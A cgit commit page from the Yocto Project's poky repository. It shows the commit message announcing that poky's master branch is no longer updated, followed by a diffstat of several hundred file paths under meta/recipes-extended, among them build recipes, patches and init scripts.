summaryrefslogtreecommitdiffstats
path: root/meta/recipes-extended
diff options
context:
space:
mode:
authorRichard Purdie <richard.purdie@linuxfoundation.org>2025-11-07 13:31:53 +0000
committerRichard Purdie <richard.purdie@linuxfoundation.org>2025-11-07 13:31:53 +0000
commit8c22ff0d8b70d9b12f0487ef696a7e915b9e3173 (patch)
treeefdc32587159d0050a69009bdf2330a531727d95 /meta/recipes-extended
parentd412d2747595c1cc4a5e3ca975e3adc31b2f7891 (diff)
downloadpoky-8c22ff0d8b70d9b12f0487ef696a7e915b9e3173.tar.gz
The poky repository master branch is no longer being updated.
You can either: a) switch to individual clones of bitbake, openembedded-core, meta-yocto and yocto-docs b) use the new bitbake-setup You can find information about either approach in our documentation: https://docs.yoctoproject.org/ Note that "poky" the distro setting is still available in meta-yocto as before and we continue to use and maintain that. Long live Poky! Some further information on the background of this change can be found in: https://lists.openembedded.org/g/openembedded-architecture/message/2179 Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
Diffstat (limited to 'meta/recipes-extended')
-rw-r--r--meta/recipes-extended/acpica/acpica_20250807.bb47
-rw-r--r--meta/recipes-extended/asciidoc/asciidoc_10.2.1.bb26
-rw-r--r--meta/recipes-extended/at/at/0001-remove-glibc-assumption.patch56
-rw-r--r--meta/recipes-extended/at/at/atd.init45
-rw-r--r--meta/recipes-extended/at/at/atd.service9
-rw-r--r--meta/recipes-extended/at/at/configure-add-enable-pam.patch25
-rw-r--r--meta/recipes-extended/at/at/file_replacement_with_gplv2.patch30
-rw-r--r--meta/recipes-extended/at/at/makefile-fix-parallel.patch32
-rw-r--r--meta/recipes-extended/at/at/pam.conf.patch35
-rw-r--r--meta/recipes-extended/at/at/posixtm.c326
-rw-r--r--meta/recipes-extended/at/at/posixtm.h37
-rw-r--r--meta/recipes-extended/at/at_3.2.5.bb76
-rw-r--r--meta/recipes-extended/baremetal-example/baremetal-helloworld_git.bb69
-rw-r--r--meta/recipes-extended/bash/bash.inc137
-rw-r--r--meta/recipes-extended/bash/bash/build-tests.patch59
-rw-r--r--meta/recipes-extended/bash/bash/fix-run-builtins.patch30
-rw-r--r--meta/recipes-extended/bash/bash/mkbuiltins_have_stringize.patch44
-rw-r--r--meta/recipes-extended/bash/bash/run-bash-ptests4
-rw-r--r--meta/recipes-extended/bash/bash/run-ptest26
-rw-r--r--meta/recipes-extended/bash/bash/test-output.patch39
-rw-r--r--meta/recipes-extended/bash/bash_5.3.bb26
-rw-r--r--meta/recipes-extended/bc/bc/run-ptest9
-rw-r--r--meta/recipes-extended/bc/bc_1.08.2.bb32
-rw-r--r--meta/recipes-extended/bzip2/bzip2/0001-fix-bzip2-version-tmp-aaa-will-hang.patch62
-rw-r--r--meta/recipes-extended/bzip2/bzip2/Makefile.am74
-rw-r--r--meta/recipes-extended/bzip2/bzip2/configure.ac11
-rw-r--r--meta/recipes-extended/bzip2/bzip2/run-ptest2
-rw-r--r--meta/recipes-extended/bzip2/bzip2_1.0.8.bb72
-rw-r--r--meta/recipes-extended/cpio/cpio_2.15.bb90
-rwxr-xr-xmeta/recipes-extended/cpio/files/run-ptest3
-rw-r--r--meta/recipes-extended/cpio/files/test.sh5
-rw-r--r--meta/recipes-extended/cracklib/cracklib_2.10.3.bb32
-rwxr-xr-xmeta/recipes-extended/cronie/cronie/crond.init58
-rw-r--r--meta/recipes-extended/cronie/cronie/crond.service11
-rw-r--r--meta/recipes-extended/cronie/cronie/crond_pam_config.patch32
-rw-r--r--meta/recipes-extended/cronie/cronie/crontab14
-rw-r--r--meta/recipes-extended/cronie/cronie/make_error_func_prototype_complete.patch41
-rw-r--r--meta/recipes-extended/cronie/cronie_1.7.2.bb87
-rw-r--r--meta/recipes-extended/cups/cups.inc117
-rw-r--r--meta/recipes-extended/cups/cups/0001-use-echo-only-in-init.patch24
-rw-r--r--meta/recipes-extended/cups/cups/0002-don-t-try-to-run-generated-binaries.patch27
-rw-r--r--meta/recipes-extended/cups/cups/0004-cups-fix-multilib-install-file-conflicts.patch29
-rw-r--r--meta/recipes-extended/cups/cups/cups-volatiles.conf1
-rw-r--r--meta/recipes-extended/cups/cups/libexecdir.patch34
-rw-r--r--meta/recipes-extended/cups/cups/volatiles.99_cups2
-rw-r--r--meta/recipes-extended/cups/cups_2.4.14.bb5
-rw-r--r--meta/recipes-extended/diffutils/diffutils.inc13
-rw-r--r--meta/recipes-extended/diffutils/diffutils/0001-Skip-strip-trailing-cr-test-case.patch29
-rw-r--r--meta/recipes-extended/diffutils/diffutils/run-ptest4
-rw-r--r--meta/recipes-extended/diffutils/diffutils_3.12.bb41
-rw-r--r--meta/recipes-extended/ed/ed_1.22.2.bb38
-rw-r--r--meta/recipes-extended/ethtool/ethtool/avoid_parallel_tests.patch28
-rw-r--r--meta/recipes-extended/ethtool/ethtool/run-ptest2
-rw-r--r--meta/recipes-extended/ethtool/ethtool_6.15.bb39
-rw-r--r--meta/recipes-extended/findutils/findutils.inc18
-rw-r--r--meta/recipes-extended/findutils/findutils/run-ptest35
-rw-r--r--meta/recipes-extended/findutils/findutils_4.10.0.bb26
-rw-r--r--meta/recipes-extended/gawk/gawk/0001-configure.ac-re-enable-disabled-printf-features.patch35
-rw-r--r--meta/recipes-extended/gawk/gawk/run-ptest27
-rw-r--r--meta/recipes-extended/gawk/gawk_5.3.2.bb97
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/0001-Fix-32-bit-build.patch63
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/avoid-host-contamination.patch29
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript/ghostscript-9.16-Werror-return-type.patch27
-rw-r--r--meta/recipes-extended/ghostscript/ghostscript_10.06.0.bb76
-rw-r--r--meta/recipes-extended/go-examples/go-helloworld_0.1.bb25
-rw-r--r--meta/recipes-extended/gperf/gperf_3.3.bb19
-rw-r--r--meta/recipes-extended/grep/grep_3.12.bb43
-rw-r--r--meta/recipes-extended/groff/files/0001-Make-manpages-mulitlib-identical.patch25
-rw-r--r--meta/recipes-extended/groff/files/0001-build-Fix-Savannah-64681-webpage.ps-deps.patch51
-rw-r--r--meta/recipes-extended/groff/files/0001-build-meintro_fr.ps-depends-on-tbl.patch31
-rw-r--r--meta/recipes-extended/groff/files/0001-contrib-hdtbl-hdtbl.am-Fix-race-issues-for-parallel-.patch31
-rw-r--r--meta/recipes-extended/groff/files/0001-getopt-Fix-type-signature-for-getenv.patch27
-rw-r--r--meta/recipes-extended/groff/files/0001-hdtbl-Fix-Savannah-66316-missing-grn-dep.patch38
-rw-r--r--meta/recipes-extended/groff/files/groff-not-search-fonts-on-build-host.patch39
-rw-r--r--meta/recipes-extended/groff/groff_1.23.0.bb81
-rw-r--r--meta/recipes-extended/gzip/files/run-ptest3
-rw-r--r--meta/recipes-extended/gzip/gzip-1.14/wrong-path-fix.patch35
-rw-r--r--meta/recipes-extended/gzip/gzip.inc33
-rw-r--r--meta/recipes-extended/gzip/gzip_1.14.bb43
-rw-r--r--meta/recipes-extended/hdparm/hdparm/wiper.sh-fix-stat-path.patch38
-rw-r--r--meta/recipes-extended/hdparm/hdparm_9.65.bb42
-rw-r--r--meta/recipes-extended/images/core-image-full-cmdline.bb12
-rw-r--r--meta/recipes-extended/images/core-image-kernel-dev.bb23
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller-initramfs.bb23
-rw-r--r--meta/recipes-extended/images/core-image-testcontroller.bb18
-rw-r--r--meta/recipes-extended/iptables/iptables/ip6tables.rules0
-rw-r--r--meta/recipes-extended/iptables/iptables/ip6tables.service13
-rw-r--r--meta/recipes-extended/iptables/iptables/iptables.rules0
-rw-r--r--meta/recipes-extended/iptables/iptables/iptables.service13
-rw-r--r--meta/recipes-extended/iptables/iptables_1.8.11.bb124
-rw-r--r--meta/recipes-extended/iputils/iputils_20250605.bb57
-rw-r--r--meta/recipes-extended/less/files/run-ptest3
-rw-r--r--meta/recipes-extended/less/less_679.bb61
-rw-r--r--meta/recipes-extended/libaio/libaio/00_arches.patch501
-rw-r--r--meta/recipes-extended/libaio/libaio/libaio_fix_for_mips_syscalls.patch62
-rw-r--r--meta/recipes-extended/libaio/libaio/system-linkage.patch33
-rw-r--r--meta/recipes-extended/libaio/libaio_0.3.113.bb21
-rw-r--r--meta/recipes-extended/libarchive/libarchive_3.8.2.bb64
-rw-r--r--meta/recipes-extended/libidn/libidn2_2.3.8.bb33
-rw-r--r--meta/recipes-extended/libmnl/libmnl_1.0.5.bb16
-rw-r--r--meta/recipes-extended/libnsl/libnsl2_2.0.1.bb20
-rw-r--r--meta/recipes-extended/libnss-nis/libnss-nis_3.4.bb25
-rw-r--r--meta/recipes-extended/libpipeline/libpipeline_1.5.8.bb12
-rw-r--r--meta/recipes-extended/libsolv/libsolv/0001-utils-Conside-musl-when-wrapping-qsort_r.patch31
-rw-r--r--meta/recipes-extended/libsolv/libsolv_0.7.35.bb31
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/0001-Add-conditional-version-script-support.patch810
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/0001-Update-declarations-to-allow-compile-with-gcc-15.patch64
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc/0002-update-signal-and-key_call-declarations-to-allow-com.patch60
-rw-r--r--meta/recipes-extended/libtirpc/libtirpc_1.3.6.bb36
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/index.html.lighttpd1
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd49
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd/lighttpd.conf309
-rw-r--r--meta/recipes-extended/lighttpd/lighttpd_1.4.81.bb75
-rw-r--r--meta/recipes-extended/logrotate/logrotate/0001-test-avoid-locale-dependent-errno-string.patch27
-rwxr-xr-xmeta/recipes-extended/logrotate/logrotate/run-ptest5
-rw-r--r--meta/recipes-extended/logrotate/logrotate_3.22.0.bb115
-rw-r--r--meta/recipes-extended/lsb/lsb-release/0001-Remove-timestamp-from-manpage.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release/0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch38
-rw-r--r--meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch27
-rw-r--r--meta/recipes-extended/lsb/lsb-release_1.4.bb37
-rw-r--r--meta/recipes-extended/lsof/files/remove-host-information.patch123
-rw-r--r--meta/recipes-extended/lsof/lsof_4.99.5.bb21
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Add-__clear_cache-declaration-for-clang.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch32
-rw-r--r--meta/recipes-extended/ltp/ltp/0001-syscalls-semctl08-Skip-semctl08-when-__USE_TIME64_RE.patch45
-rw-r--r--meta/recipes-extended/ltp/ltp_20250930.bb146
-rw-r--r--meta/recipes-extended/lzip/lzip_1.25.bb42
-rw-r--r--meta/recipes-extended/lzip/lzlib_1.15.bb39
-rw-r--r--meta/recipes-extended/man-db/files/99_mandb1
-rw-r--r--meta/recipes-extended/man-db/man-db_2.13.1.bb68
-rw-r--r--meta/recipes-extended/man-pages/man-pages_6.15.bb50
-rw-r--r--meta/recipes-extended/mc/files/nomandate.patch32
-rw-r--r--meta/recipes-extended/mc/mc_4.8.33.bb59
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Fix-the-path-of-corosync-and-dlm-header-files-check.patch30
-rw-r--r--meta/recipes-extended/mdadm/files/0001-Makefile-install-mdcheck.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/0001-restripe.c-Use-_FILE_OFFSET_BITS-to-enable-largefile.patch155
-rw-r--r--meta/recipes-extended/mdadm/files/0002-Create.c-include-linux-falloc.h-for-FALLOC_FL_ZERO_R.patch27
-rw-r--r--meta/recipes-extended/mdadm/files/mdadm.init72
-rw-r--r--meta/recipes-extended/mdadm/files/run-ptest10
-rw-r--r--meta/recipes-extended/mdadm/files/xmalloc.patch32
-rw-r--r--meta/recipes-extended/mdadm/mdadm_4.4.bb108
-rw-r--r--meta/recipes-extended/mingetty/mingetty_1.08.bb28
-rw-r--r--meta/recipes-extended/minicom/minicom_2.10.bb25
-rw-r--r--meta/recipes-extended/msmtp/msmtp_1.8.31.bb27
-rw-r--r--meta/recipes-extended/net-tools/net-tools/Add_missing_headers.patch15
-rw-r--r--meta/recipes-extended/net-tools/net-tools/CVE-2025-46836-01.patch91
-rw-r--r--meta/recipes-extended/net-tools/net-tools/CVE-2025-46836-02.patch31
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-config.h75
-rw-r--r--meta/recipes-extended/net-tools/net-tools/net-tools-config.make36
-rw-r--r--meta/recipes-extended/net-tools/net-tools_2.10.bb121
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-base-utils.bb61
-rw-r--r--meta/recipes-extended/packagegroups/packagegroup-core-full-cmdline.bb95
-rw-r--r--meta/recipes-extended/pam/libpam/99_pam1
-rw-r--r--meta/recipes-extended/pam/libpam/pam-volatiles.conf1
-rw-r--r--meta/recipes-extended/pam/libpam/pam.d/common-account25
-rw-r--r--meta/recipes-extended/pam/libpam/pam.d/common-auth18
-rw-r--r--meta/recipes-extended/pam/libpam/pam.d/common-password23
-rw-r--r--meta/recipes-extended/pam/libpam/pam.d/common-session19
-rw-r--r--meta/recipes-extended/pam/libpam/pam.d/common-session-noninteractive19
-rw-r--r--meta/recipes-extended/pam/libpam/pam.d/other24
-rw-r--r--meta/recipes-extended/pam/libpam/run-ptest32
-rw-r--r--meta/recipes-extended/pam/libpam_1.7.1.bb172
-rw-r--r--meta/recipes-extended/parted/files/0001-bug-74444-PATCH-parted-fix-do_version-declaration.patch40
-rw-r--r--meta/recipes-extended/parted/files/0001-fs-Add-libuuid-to-linker-flags-for-libparted-fs-resi.patch34
-rw-r--r--meta/recipes-extended/parted/files/autoconf-2.73.patch22
-rw-r--r--meta/recipes-extended/parted/files/fix-doc-mandir.patch20
-rw-r--r--meta/recipes-extended/parted/files/run-ptest7
-rw-r--r--meta/recipes-extended/parted/parted_3.6.bb65
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2/0001-Do-not-rely-on-std-char_traits-template-from-stdlib.patch116
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2/0001-pbzip2-Fix-invalid-suffix-on-literal-C-11-warning.patch73
-rw-r--r--meta/recipes-extended/pbzip2/pbzip2_1.1.13.bb31
-rw-r--r--meta/recipes-extended/perl/libconvert-asn1-perl_0.34.bb22
-rw-r--r--meta/recipes-extended/perl/libtimedate-perl_2.30.bb20
-rw-r--r--meta/recipes-extended/perl/libxml-namespacesupport-perl_1.12.bb26
-rw-r--r--meta/recipes-extended/perl/libxml-sax-base-perl_1.09.bb25
-rw-r--r--meta/recipes-extended/perl/libxml-sax-perl_1.02.bb41
-rw-r--r--meta/recipes-extended/pigz/pigz_2.8.bb48
-rw-r--r--meta/recipes-extended/procps/procps/sysctl.conf67
-rw-r--r--meta/recipes-extended/procps/procps_4.0.5.bb95
-rw-r--r--meta/recipes-extended/psmisc/psmisc_23.7.bb60
-rw-r--r--meta/recipes-extended/quota/quota/0001-setproject-Fix-openWRT-build.patch30
-rw-r--r--meta/recipes-extended/quota/quota_4.10.bb34
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/0001-systemd-use-EnvironmentFile.patch47
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/init.d87
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.conf3
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.systemd3
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind.tmpfiles1
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind/rpcbind_add_option_to_fix_port_number.patch131
-rw-r--r--meta/recipes-extended/rpcbind/rpcbind_1.2.8.bb65
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto.bb39
-rw-r--r--meta/recipes-extended/rpcsvc-proto/rpcsvc-proto/0001-Use-cross-compiled-rpcgen.patch20
-rw-r--r--meta/recipes-extended/scdoc/scdoc/0001-Makefile-drop-static.patch23
-rw-r--r--meta/recipes-extended/scdoc/scdoc_1.11.3.bb20
-rw-r--r--meta/recipes-extended/screen/screen/screen.pam2
-rw-r--r--meta/recipes-extended/screen/screen_5.0.1.bb46
-rw-r--r--meta/recipes-extended/sed/sed/run-ptest5
-rw-r--r--meta/recipes-extended/sed/sed_4.9.bb68
-rw-r--r--meta/recipes-extended/shadow/files/commonio.c-fix-unexpected-open-failure-in-chroot-env.patch48
-rw-r--r--meta/recipes-extended/shadow/files/disable_syslog.patch22
-rw-r--r--meta/recipes-extended/shadow/files/login.defs_shadow-sysroot387
-rw-r--r--meta/recipes-extended/shadow/files/login_defs_pam.sed32
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/chfn14
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/chpasswd6
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/chsh19
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/login77
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/newusers6
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/passwd5
-rw-r--r--meta/recipes-extended/shadow/files/pam.d/su57
-rw-r--r--meta/recipes-extended/shadow/files/securetty239
-rw-r--r--meta/recipes-extended/shadow/files/shadow-update-pam-conf.patch110
-rw-r--r--meta/recipes-extended/shadow/files/useradd8
-rw-r--r--meta/recipes-extended/shadow/shadow-securetty_4.6.bb36
-rw-r--r--meta/recipes-extended/shadow/shadow-sysroot_4.6.bb29
-rw-r--r--meta/recipes-extended/shadow/shadow_4.18.0.bb232
-rw-r--r--meta/recipes-extended/slang/slang/array_test.patch20
-rw-r--r--meta/recipes-extended/slang/slang/dont-link-to-host.patch31
-rw-r--r--meta/recipes-extended/slang/slang/no-x.patch18
-rw-r--r--meta/recipes-extended/slang/slang/run-ptest3
-rw-r--r--meta/recipes-extended/slang/slang/terminfo_fixes.patch168
-rw-r--r--meta/recipes-extended/slang/slang/test-add-output-in-the-format-result-testname.patch30
-rw-r--r--meta/recipes-extended/slang/slang_2.3.3.bb83
-rw-r--r--meta/recipes-extended/stress-ng/stress-ng_0.19.04.bb31
-rw-r--r--meta/recipes-extended/sudo/files/0001-sudo.conf.in-fix-conflict-with-multilib.patch61
-rw-r--r--meta/recipes-extended/sudo/files/sudo.pam6
-rw-r--r--meta/recipes-extended/sudo/sudo.inc50
-rw-r--r--meta/recipes-extended/sudo/sudo_1.9.17p2.bb61
-rwxr-xr-xmeta/recipes-extended/sysklogd/sysklogd/sysklogd154
-rw-r--r--meta/recipes-extended/sysklogd/sysklogd_2.7.2.bb54
-rw-r--r--meta/recipes-extended/sysstat/sysstat/0001-configure.in-remove-check-for-chkconfig.patch31
-rw-r--r--meta/recipes-extended/sysstat/sysstat/99_sysstat1
-rw-r--r--meta/recipes-extended/sysstat/sysstat/sysstat.service12
-rw-r--r--meta/recipes-extended/sysstat/sysstat_12.7.8.bb79
-rw-r--r--meta/recipes-extended/tar/tar/0001-tests-fix-TESTSUITE_AT.patch228
-rw-r--r--meta/recipes-extended/tar/tar/0002-tests-check-for-recently-fixed-bug.patch60
-rw-r--r--meta/recipes-extended/tar/tar/0003-Exclude-VCS-directory-with-writing-from-an-archive.patch112
-rw-r--r--meta/recipes-extended/tar/tar/run-ptest8
-rw-r--r--meta/recipes-extended/tar/tar_1.35.bb100
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-build-with-clang.patch65
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Fix-implicit-function-declaration-warnings.patch114
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/0001-Remove-fgets-extern-declaration.patch43
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/00_man_quoting.diff77
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/01_man_portability.patch250
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/05_wildcard_matching.patch105
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/06_fix_gethostbyname.patch32
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/10_usagi-ipv6.patch1255
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/11_tcpd_blacklist.patch153
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/11_usagi_fix.patch47
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/12_makefile_config.patch85
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/13_shlib_weaksym.patch255
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/14_cidr_support.patch68
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/15_match_clarify.patch14
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/expand_remote_port.patch73
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings.patch25
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/fix_warnings2.patch200
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/have_strerror.patch21
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/ldflags.patch45
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/makefile-fix-parallel.patch54
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/man_fromhost.patch23
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/musl-decls.patch31
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/rename_strings_variable.patch35
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/restore_sigalarm.patch39
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/rfc931.diff41
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/safe_finger.834
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/safe_finger.patch31
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/sig_fix.patch36
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/siglongjmp.patch32
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/socklen_t.patch58
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/tcpdchk_libwrapped.patch41
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers-7.6/try-from.828
-rw-r--r--meta/recipes-extended/tcp-wrappers/tcp-wrappers_7.6.bb135
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy-native.bb33
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/COPYING19
-rw-r--r--meta/recipes-extended/texinfo-dummy-native/texinfo-dummy/template.py100
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-Makefile.am-do-not-build-manpages.patch29
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0001-texinfo-several-changes-to-build-without-zlib-and-nc.patch51
-rw-r--r--meta/recipes-extended/texinfo/texinfo/0003-texinfo-Update-to-5.1.patch25
-rw-r--r--meta/recipes-extended/texinfo/texinfo_7.2.bb90
-rw-r--r--meta/recipes-extended/time/time/0001-Fix-the-type-for-sighandler_t.patch27
-rw-r--r--meta/recipes-extended/time/time/0001-include-string.h-for-memset.patch27
-rw-r--r--meta/recipes-extended/time/time/time-1.9-Fix-compiling-with-GCC15.patch33
-rw-r--r--meta/recipes-extended/time/time_1.9.bb29
-rw-r--r--meta/recipes-extended/timezone/timezone.inc20
-rw-r--r--meta/recipes-extended/timezone/tzcode-native.bb14
-rw-r--r--meta/recipes-extended/timezone/tzdata.bb207
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Add-correct-system-headers-and-prototypes-.patch112
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-configure-Pass-LDFLAGS-to-tests-doing-link-step.patch137
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-unix-configure-fix-detection-for-cross-compilation.patch103
-rw-r--r--meta/recipes-extended/unzip/unzip/0001-unzip-fix-CVE-2018-1000035.patch48
-rw-r--r--meta/recipes-extended/unzip/unzip/06-unzip60-alt-iconv-utf8_CVE-2015-1315.patch403
-rw-r--r--meta/recipes-extended/unzip/unzip/09-cve-2014-8139-crc-overflow.patch53
-rw-r--r--meta/recipes-extended/unzip/unzip/10-cve-2014-8140-test-compr-eb.patch36
-rw-r--r--meta/recipes-extended/unzip/unzip/11-cve-2014-8141-getzip64data.patch145
-rw-r--r--meta/recipes-extended/unzip/unzip/18-cve-2014-9913-unzip-buffer-overflow.patch33
-rw-r--r--meta/recipes-extended/unzip/unzip/19-cve-2016-9844-zipinfo-buffer-overflow.patch32
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2015-7696.patch39
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2015-7697.patch32
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2018-18384.patch39
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2019-13232_p1.patch33
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2019-13232_p2.patch356
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2019-13232_p3.patch121
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2021-4217.patch67
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0529.patch39
-rw-r--r--meta/recipes-extended/unzip/unzip/CVE-2022-0530.patch33
-rw-r--r--meta/recipes-extended/unzip/unzip/avoid-strip.patch50
-rw-r--r--meta/recipes-extended/unzip/unzip/cve-2014-9636.patch46
-rw-r--r--meta/recipes-extended/unzip/unzip/define-ldflags.patch18
-rw-r--r--meta/recipes-extended/unzip/unzip/fix-security-format.patch97
-rw-r--r--meta/recipes-extended/unzip/unzip/gcc15.patch17
-rw-r--r--meta/recipes-extended/unzip/unzip/symlink.patch26
-rw-r--r--meta/recipes-extended/unzip/unzip/unzip_optimization.patch127
-rw-r--r--meta/recipes-extended/unzip/unzip_6.0.bb71
-rw-r--r--meta/recipes-extended/watchdog/watchdog-config.bb29
-rw-r--r--meta/recipes-extended/watchdog/watchdog-config/watchdog.conf42
-rw-r--r--meta/recipes-extended/watchdog/watchdog-config/watchdog.default3
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-shutdown-Do-not-guard-sys-quota.h-sys-swap.h-and-sys.patch37
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-watchdog-remove-interdependencies-of-watchdog-and-wd.patch68
-rw-r--r--meta/recipes-extended/watchdog/watchdog/0001-wd_keepalive.service-use-run-instead-of-var-run.patch30
-rw-r--r--meta/recipes-extended/watchdog/watchdog/watchdog.init110
-rw-r--r--meta/recipes-extended/watchdog/watchdog/wd_keepalive.init121
-rw-r--r--meta/recipes-extended/watchdog/watchdog_5.16.bb72
-rw-r--r--meta/recipes-extended/wget/wget.inc41
-rw-r--r--meta/recipes-extended/wget/wget/0002-improve-reproducibility.patch63
-rw-r--r--meta/recipes-extended/wget/wget_1.25.0.bb7
-rw-r--r--meta/recipes-extended/which/which-2.23/0001-getopt-Fix-signature-of-getenv-function.patch44
-rw-r--r--meta/recipes-extended/which/which-2.23/meson.build92
-rw-r--r--meta/recipes-extended/which/which_2.23.bb32
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/0001-Don-t-build-the-in-script-manual.patch30
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/0001-Reinstate-xdg-terminal.patch29
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/1f199813e0eb0246f63b54e9e154970e609575af.patch58
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils/CVE-2022-4055.patch145
-rw-r--r--meta/recipes-extended/xdg-utils/xdg-utils_1.1.3.bb38
-rw-r--r--meta/recipes-extended/xinetd/xinetd/0001-Use-monotonic-time.patch325
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd.default12
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd.init64
-rw-r--r--meta/recipes-extended/xinetd/xinetd/xinetd.service10
-rw-r--r--meta/recipes-extended/xinetd/xinetd_2.3.15.4.bb53
-rw-r--r--meta/recipes-extended/xz/xz/run-ptest26
-rw-r--r--meta/recipes-extended/xz/xz_5.8.1.bb72
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Include-dirent.h-for-closedir-opendir-APIs.patch45
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Specify-correct-function-signatures-and-de.patch134
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-Use-CFLAGS-and-LDFLAGS-when-doing-link-tes.patch88
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-configure-use-correct-CPP.patch47
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-fileio.c-fix-a-buffer-overflow-detected-issue.patch38
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0001-unix-configure-use-_Static_assert-to-do-correct-dete.patch96
-rw-r--r--meta/recipes-extended/zip/zip-3.0/0002-configure-support-PIC-code-build.patch34
-rw-r--r--meta/recipes-extended/zip/zip-3.0/10-remove-build-date.patch19
-rw-r--r--meta/recipes-extended/zip/zip-3.0/fix-security-format.patch42
-rw-r--r--meta/recipes-extended/zip/zip-3.0/zipnote-crashes-with-segfault.patch22
